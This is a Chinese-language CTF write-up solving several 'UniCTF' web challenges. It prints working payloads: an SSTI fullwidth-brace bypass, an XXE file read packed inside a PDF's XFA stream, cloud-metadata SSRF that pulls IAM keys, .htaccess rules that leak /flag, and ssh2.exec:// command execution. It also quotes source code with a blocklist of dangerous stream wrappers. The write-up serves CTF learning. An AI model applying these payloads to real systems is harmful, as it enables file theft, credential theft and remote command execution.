UniCTF Web全解(全速更新中)

UniCTF Web 全解

GlyphWeaver

image-20260206175305361

题目提示jinja2,说明存在SSTI注入。

image-20260206175340677

注意这个CJK-friendly,上网查了一下,中日韩文友好,这实际上也意味着对Unicode兼容字符做了规范化处理,全角会变成半角。

download_image

waf显然是对原始输入进行检测,但是payload并没有被执行,说明这个预览仅进行一次渲染,需要寻找二次渲染触发点。而下面的Export Console很显然就是我们要找的触发点。

image-20260206180425926

waf同样只检测原始输入,但是因为这里是创建一个包含信息的Task,所以在第一次渲染后,Motto里的圆角{}就变成了半角,再点右上角的Check Status,就会进行没有waf的二次渲染。

最终,圆角杀死了比赛。

image-20260206181042859
1
UniCTF{${uuid}}{e71cb3f2-6353-46d2-bab6-e60d96efd048}

SecureDoc(Adobe XFA)

image-20260207002206239

只允许上传PDF格式的文件,然后支持的功能里可以看到XFA-based …,这意味着后端会提取并解析PDF中的**XFA(XML Forms Architecture)**数据。

依然先贴出payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
<config><present><pdf><interactive>1</interactive></pdf></present></config>
<template>
<subform>
<field>
<value>
<text>FLAG_CONTENT_BELOW:
&xxe;
FLAG_CONTENT_ABOVE</text>
</value>
</field>
</subform>
</template>
</xdp:xdp>

XFA是Adobe为了让PDF更强大而引入的新技术,它允许PDF内部嵌入一段XML数据来动态描述表单的布局、数据和交互逻辑。但是如果我们能控制XML数据,就可以控制XML解析器的行为。

结合脚本,讲讲XML的格式:

  • 信头:<?xml version="1.0" encoding="UTF-8"?>

    一份声明,标志着这是一个XML文档。

  • DTD:

    1
    2
    3
    <!DOCTYPE data [
    <!ENTITY xxe SYSTEM "file:///flag">
    ]>
    • <!DOCTYPE data[...]>一个文档类型定义,也是攻击将要发生的地方,我们可以在这里定义一些变量。

    • <!ENTITY ...>就是定义变量的具体位置,其中ENTITY意为实体(可以理解为变量),xxe则是变量名,SYSTEM是命令关键词,"file:///flag"是变量的值。

      整段连起来,xxe这个变量的值就是系统中/flag文件的内容。

    • XFA表单数据:

    1
    <xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
    • <xdp:xdp>...</xdp:xdp>是Adobe XFA特有的标签,标志着其中是XFA表单数据。
    • xmlns:xdp="..."是命名空间,xmlns即为XML NameSpace,它定义xdp这个名字代表其中的网址。我们命名的这个xdp只能是前缀,比如我定义a即<a:xdp>,后面的xdp是元素名、代表XFA数据包的根节点,是死的。但是最好就叫xdp,避免因为后端正则匹配触发不了解析器。
    • http://ns.adobe.com/xdp/代表其中XFA表单数据都是Adobe XFA表单数据,这个也是死的。
  • 深入表单内部:

    • <config><present><pdf><interactive>1</interactive></pdf></present></config>

      <config></config>代表其中的内容是一些配置。

      <present></present>指定配置的具体方向,是偏向展示的配置。

      <pdf></pdf>指定配置只对PDF生效。

      <interactive>1</interactive>是一个交互性开关,1为True、0为False,True代表其中的变量可以被渲染,如果为False则原样输出。

      这段config可以不写的,写了可以确保兼容性。

    • <template>是表单模板,类似于html里的<body>

      • <subform>类似于html里的<div>
        • <field>定义一个输入框,类似于html里的<input type="text">
          • <value><text>定义输入框里的默认内容。在其中我们用一些文字包裹变量,就将代码包装成了合法的表单字段值。

如果解析器处理完了XXE,<text></text>中就会回显flag内容。

我们回头讲一下XXE。

XXE(XML External Entity Injection),顾名思义,就是XML外部实体注入,我们通过File://让变量指向外部文件,而服务器上的XML解析器刚好也加载了外部实体的功能,那么我们就能读到外部文件的内容。

包装成PDF即为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
%PDF-1.4
1 0 obj
<< /Type /Catalog /AcroForm 2 0 R >>
endobj

2 0 obj
<< /XFA 3 0 R >>
endobj

3 0 obj
<< /Length 198 >>
stream
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
<field><value><text>&xxe;</text></value></field>
</xdp:xdp>
endstream
endobj

trailer
<< /Root 1 0 R >>
%%EOF

那这道题发包即可,重定向就能看到flag。

image-20260208005457693
1
UniCTF{3b9469fd-c505-4b85-9504-e1ec0bcebb00}

CloudDiag

SSRF题目。

SSRF(Server-Side Request Forgery,服务端请求伪造),是一种借服务器访问网址并返回结果的方法。比如这道题,我们因为无法直接访问http://metadata:1338/这个内网地址,但是可以通过服务器访问。传统的SSRF通常用来攻击内网Redjs、MySQL、读取etc/passwd,但是这道题是云SSRF,目标是读取云主机元数据服务(Instance Metadata Service,IMDS)。

MetaData(元数据)是什么?

当我们在云上创建一台虚拟机时,云厂商会给机器提供一个元数据服务(IMDS),让这台机器通过访问特定的内网地址(比如169.254.169.254)来查询自己的信息。信息包括实例ID位置区域私有IP和公有IPIAM角色凭证,我们可以通过SSRF获取这些信息。

通过用服务器访问内网中的某些路径即可获得信息,但是路径是什么?

路径有固定格式,例如本题在AWS中,http://metadata:1338/latest/meta-data/iam/security-credentials/,路径就是:/版本号(通常是latest)/元数据目录(通常是meta-data)/IAM(我们要找的东西)/安全凭证(security-credentials)/角色名

image-20260209011051143

给了一个登录页面,题目大概率是有高权限的账号的,尝试弱口令爆破。

image-20260209011029232

看到用户名root,密码root123

image-20260209011209490

有一个历史记录Legacy metadata check,点进去可以看到:

image-20260212190220788

拿到了路径和角色名,前往/tasks接口拼接查询:

1
http://metadata:1338/latest/meta-data/iam/security-credentials/clouddiag-instance-role

拿到:

1
2
3
4
5
{
"AccessKeyId": "AKIAF0C0EE620F534135",(角色名)
"SecretAccessKey": "120d091baced4abfae6658ca158c0aacaacef2f20d894aa9a248125d344382dd",(密码)
"Token": "1dd65b0a39ad4c83b67a640664c32f3172256953bfe54f6fbadd8254bc413680",(令牌)
}

接下来我们就可以去/explorer读取S3存储桶。

关于bucketsS3(Simple Storage Service)

存储桶(Bucket)是对象的载体,可理解为存放对象的“容器”,且该“容器”无容量上限。对象以扁平化结构存放在存储桶中,无文件夹和目录的概念,用户可选择将对象存放到单个或多个存储桶中。

用一句话来说,存储桶就是一个公共的、没有目录结构的容器,而对象(Object)就是其中的文件。只需要拿到AK(角色名)、SK(密码)和Token就可以看到存储桶中的特定对象。

image-20260212192717728

在这里填上相关信息,可以看到服务器拥有的Buckets:

image-20260212192821849

选择clouddiag-secrets这个bucket,可以看到bucket中的objects:

image-20260212192931480

再指定flags/runtime/flag-1f3ca9c225dc4b118d951dc844c4d229.txt这个object,即可得到flag:

1
UniCTF{be8049b2-0ec7-47e8-84be-ef339425f3cd}

ezUpload(Revenge)

文件上传题,⚠️ Upload Restrictions

  • Max size: 1KB
  • Forbidden chars: ? $ & ; | ` \ <
  • No PHP code

<被ban了就可以告别php代码了。

看到响应头:

1
Server: Apache/2.4.65 (Debian)

于是考虑.htaccess

关于.htaccess

全称是Hypertext Access,是Apache Web服务器(或者LiteSpeed)中使用的一种目录级别的配置文件。作用是允许在不修改全局配置(即httpd.conf)且不重启服务器的情况下,对特定目录及其子目录下的Web请求进行动态的配置控制。最大的特色是允许即时解析。

要想.htaccess文件生效首先需要主配置文件打开AllowOverride(AllowOverride All等),如果写了

AllowOverride None就无效了。还可以控制.htaccess文件具体控制的内容,比如写

1
AllowOverride FileInfo AuthConfig

即只允许重写文件类型和权限认证相关的指令。

解法一:

这里给出.htaccess的payload:

1
2
3
4
RewriteEngine On
RewriteCond expr "file('/flag') =~ /(.+)/"
RewriteRule .* - [E=FLAG_CONTENT:%1]
Header set X-Test-Expr "%{FLAG_CONTENT}e"

这个文件读取flag的逻辑是利用Apache内置的file函数把/flag读出来,存到环境变量里再读出来。

第一行RewriteEngine On:打开重写引擎,引入RewriteCondRewriteRule

第二行RewriteCond expr"file('/flag') =~ /(.+)/"

  • RewriteCond:即Rewrite Condition,相当于if,后面接条件,如果满足条件就触发RewriteRule内容。
  • expr"...":即expression,可以解析""里的表达式。
  • file('/flag')expr引擎提供的函数。
  • =~意思是:左边的内容是否可以和右边的正则匹配。
  • /(.+)///为边界符,()为捕获组,即将匹配到的内容捕获并暂存,.代表任意单个字符,+代表前面的字符有出现过,所以.+即匹配任意一段不为空的文本。

第三行RewriteRule .* - [E=FLAG_CONTENT:%1]

  • RewriteRule:执行动作。
  • .*:匹配任意请求。
  • -:不修改网址。
  • [E=FLAG_CONTENT:%1][]即标志位,用来执行额外的特殊指令。中间内容即E=变量名:变量值,创建一个环境变量。%1是反向引用,提取上一行中()里的内容。

第四行Header set X-Test-Expr "%{FLAG_CONTEN}e"

  • Header:调用响应头模块。

  • set:设置。

  • X-Test-Expr:自定义Header名字。

  • "%{FLAG_CONTENT}e":Header的值。使用%{}e可以读取{}中环境变量的值。

新建任意文件上传,访问,看头即可。

解法二(仅针对非Revenge):

1
2
3
Options +Indexes
DirectoryIndex /123.txt
Header set X-Flag "expr=%{file:/flag}"

第一行Options +Indexes:开启Apache的目录浏览功能,由此可以访问/upload

第二行DirectoryIndex /123.txt:设置目录索引,用户访问/upload时会默认展示/123.txt这个文件,如果没有就展示索引。因为看到了有一个test.txt,所以这里可以改成test.txt

第三行Header set X-Flag "expr=%{file:/flag}":与前一种方法有异曲同工之妙,但是这个更简洁。

1
2
3
UniCTF{7cb4c534-0166-499a-87ab-82678b300f7c}

UniCTF{39a5f9e3-0ed4-4b0e-98c5-d01fd03b563d}

一鸣唱吧

依然有登录界面,可以尝试找一下高权限账号。

image-20260225015918481

可以在主页看到上传,这里随便传一个空的a.txt

image-20260227024518400

可以看到文件重命名了,规律是UNiCTF2026xx,后缀名不变。所以这里我们直接fuff爆破,

先用seq创造00~99的字典,

1
seq -w 0 99 > /tmp/num00.txt

-w 代表等宽。

再通过kali自带的后缀名词典拼接爆破:

1
2
3
4
ffuf -u 
http://80-4e7658dd-2e6d-4009-80a9-4702b372b225.challenge.ctfplus.cn/uploads/UNiCTF2026W1W2
-w /tmp/num00.txt:W1
-w /usr/share/seclists/Discovery/Web-Content/raft-medium-extensions-lowercase.txt:W2

最终看到:

image-20260227035645523

看到UNiCTF202638.php是一个phpinfo,直接找环境变量,可以看到flag。

1
UniCTF{d6c44bca-1d34-4146-bf93-6b481297d3d9}

也许是非预期。

看到另一个文件,后缀名db,是SQLite文件(类似的有.sqlite)。

可以用SQLiteSpy查看,SQLiteSpy

有两个表,一个file表一个user表。

image-20260323091636525

对password进行hash破解,

image-20260323115259252

可以拿到admin账户的密码admin888

几经波折结果拿到了一个弱密码吗…一开始我没扫出来,但是字典里确实是有admin888的,于是我再看了一遍:

image-20260323120450175

以后不能只看状态码了,状态码没有的话还得看一下响应长度。

进去之后可以看到管理员的特殊cg:

image-20260323120734093

提示可以用file://伪协议,尝试file:///flag失败。

1
2
3
4
5
Error: 资源加载失败。
可能的原因为:
1. 文件路径不存在
2. 权限不足 (Permission Denied)
3. 协议格式错误

于是想到看当前页面源码,尝试file:///var/www/html/download.php,可以看到:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
<?php
// 引入数据库连接
require_once 'includes/db.php';

if (session_status() === PHP_SESSION_NONE) { session_start(); }

if (!isset($_SESSION['user'])) {
require_once 'includes/header.php';
die("<div class='container'><p class='error'>请先登录会员系统!/ Access Denied</p></div>");
require_once 'includes/footer.php';
}



if (isset($_GET['preview']) && $_GET['preview'] === "true" && isset($_SESSION['is_admin']) && $_SESSION['is_admin'] == 1) {


$format = isset($_GET['format']) ? $_GET['format'] : '';

// ========================================
// 安全过滤:协议黑名单检查
// ========================================
$dangerousProtocols = [
'php://',
'data://',
'phar://',
'zip://',
'compress.zlib://',
'compress.bzip2://',
'zlib://',
'glob://',
'expect://',
'input://',
'http://',
'https://',
'ftp://',
'ftps://',
'dict://',
'gopher://',
'tftp://',
'ldap://',
'ssh2.sftp://',
'ssh2.scp://',
'ssh2.tunnel://',
'rar://',
'ogg://',
];

foreach ($dangerousProtocols as $protocol) {
if (stripos($format, $protocol) !== false) {
require_once 'includes/header.php';
echo "<div class='container'>";
echo "<p class='error'>⚠️ 安全警告:禁止使用该协议 " . htmlspecialchars($protocol) . "</p>";
echo "<p>系统检测到潜在的安全风险,已拦截此次请求。</p>";
echo "</div>";
require_once 'includes/footer.php';
exit;
}
}
// ========================================

$full_path = $format;

$is_viewing_source = (strpos($format, 'file://') === 0);

if ($is_viewing_source) {
header('Content-Type: text/plain; charset=utf-8');
} else {
header('Content-Type: text/html; charset=utf-8');
require_once 'includes/header.php';
echo "<div class='container'><h2 class='neon-text'>🔧 管理员预览控制台</h2>";
echo "<p class='message'>正在尝试加载资源流: <strong>" . htmlspecialchars($full_path) . "</strong></p>";
echo "<div style='background: #000; padding: 15px; border: 1px solid #333; font-family: monospace; color: #0f0; white-space: pre-wrap;'>";
}

try {

$handle = @fopen($full_path, 'r');

if ($handle) {
$content = stream_get_contents($handle);

if ($is_viewing_source) {
echo $content;
} else {
echo htmlspecialchars($content);
}
fclose($handle);
} else {
echo "Error: 资源加载失败。\n";
echo "可能的原因为:\n";
echo "1. 文件路径不存在\n";
echo "2. 权限不足 (Permission Denied)\n";
echo "3. 协议格式错误\n";
}

} catch (Exception $e) {
echo "System Error: " . $e->getMessage();
}


if (!$is_viewing_source) {
echo "</div></div>"; // 关闭 console 和 container
require_once 'includes/footer.php';
}

exit;

}



//普通会员文件下载

require_once 'includes/header.php';

if (isset($_GET['file'])) {
$file = $_GET['file'];

if (strpos($file, '..') === false && strpos($file, '/') === false) {
$filepath = "uploads/" . $file;
if (file_exists($filepath)) {
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="'.basename($filepath).'"');
header('Content-Length: ' . filesize($filepath));
readfile($filepath);
exit;
} else {
echo "<p class='error'>文件不存在或已被移除。</p>";
}
} else {
echo "<p class='error'>非法请求。</p>";
}
}

$admin_panel = '';
if (isset($_SESSION['is_admin']) && $_SESSION['is_admin'] == 1) {
$current_dir = __DIR__;
$admin_panel = <<<HTML
<div class="admin-panel">
<h3 class="neon-text">🔧 管理员内部预览 (Dev Mode)</h3>
<p style="color: gray; font-size: 0.8em;">当前 Web 根目录: {$current_dir}</p>

<form method="get" target="_blank">
<input type="hidden" name="preview" value="true">
<label>Resource URI:</label>
<input type="text" name="format" placeholder="例如: file://{$current_dir}/index.php" style="width: 70%;" required>
<button type="submit">加载资源</button>
</form>
</div>
HTML;
}
?>

<h2 class="neon-text">🎵 一鸣曲库 (归档中心)</h2>
<p>这里存放着系统归档文件。普通会员可根据文件名下载。</p>

<div style="margin-top: 30px; padding: 20px; background: rgba(0,0,0,0.3);">
<h3>📥 歌曲/文件下载</h3>
<form method="get">
文件名: <input type="text" name="file" placeholder="输入文件名, 如 MGSG202500.mp3">
<button type="submit">下载文件</button>
</form>
</div>

<?php
echo $admin_panel;
require_once 'includes/footer.php';
?>

strpos()是查找特定字符串在另一个字符串首次出现位置的函数,如果找到会返回对应的数字,没找到会返回false。注意在php中强碰撞是会比较类型的,0不是false。

在找洞的时候需要着重注意处理用户输入的逻辑,这里的fopen()函数支持封装流协议。然后就是过滤得越多的也越有可能有问题,这里还有一个ssh2模块的exec://协议没有被ban,该协议可以在远程ssh(secure shell)上执行命令(首先需要获得一个ssh用户的凭证)。

该协议的格式是这样的:ssh2.exec://user:pass@ip/cmd

ssh2可以在phpinfo里看到被引入了:

image-20260323124835036

尝试ssh2.exec://admin:admin888@127.0.0.1:22/ls;发现报错,于是想到换账户:

image-20260323131439822

尝试ssh2.exec://ctfer:duhgrl@127.0.0.1:22/ls;发现不报错。

于是可以尝试很多了:

1
/download.php?preview=true&format=ssh2.exec://ctfer:duhgrl@127.0.0.1:22/ls+/+-al+>+/var/www/html/1.txt
image-20260323133134676

再:

1
/download.php?preview=true&format=ssh2.exec://ctfer:duhgrl@127.0.0.1:22/cat+/flflagag1SH3re+>+/var/www/html/1.txt HTTP/1.1

即可得到flag。

1
UniCTF{c3962f30-72af-4e60-937d-86c9a5455f50}

这道题虽然有个比较浅显的非预期,但是跟着预期还是能学到很多的。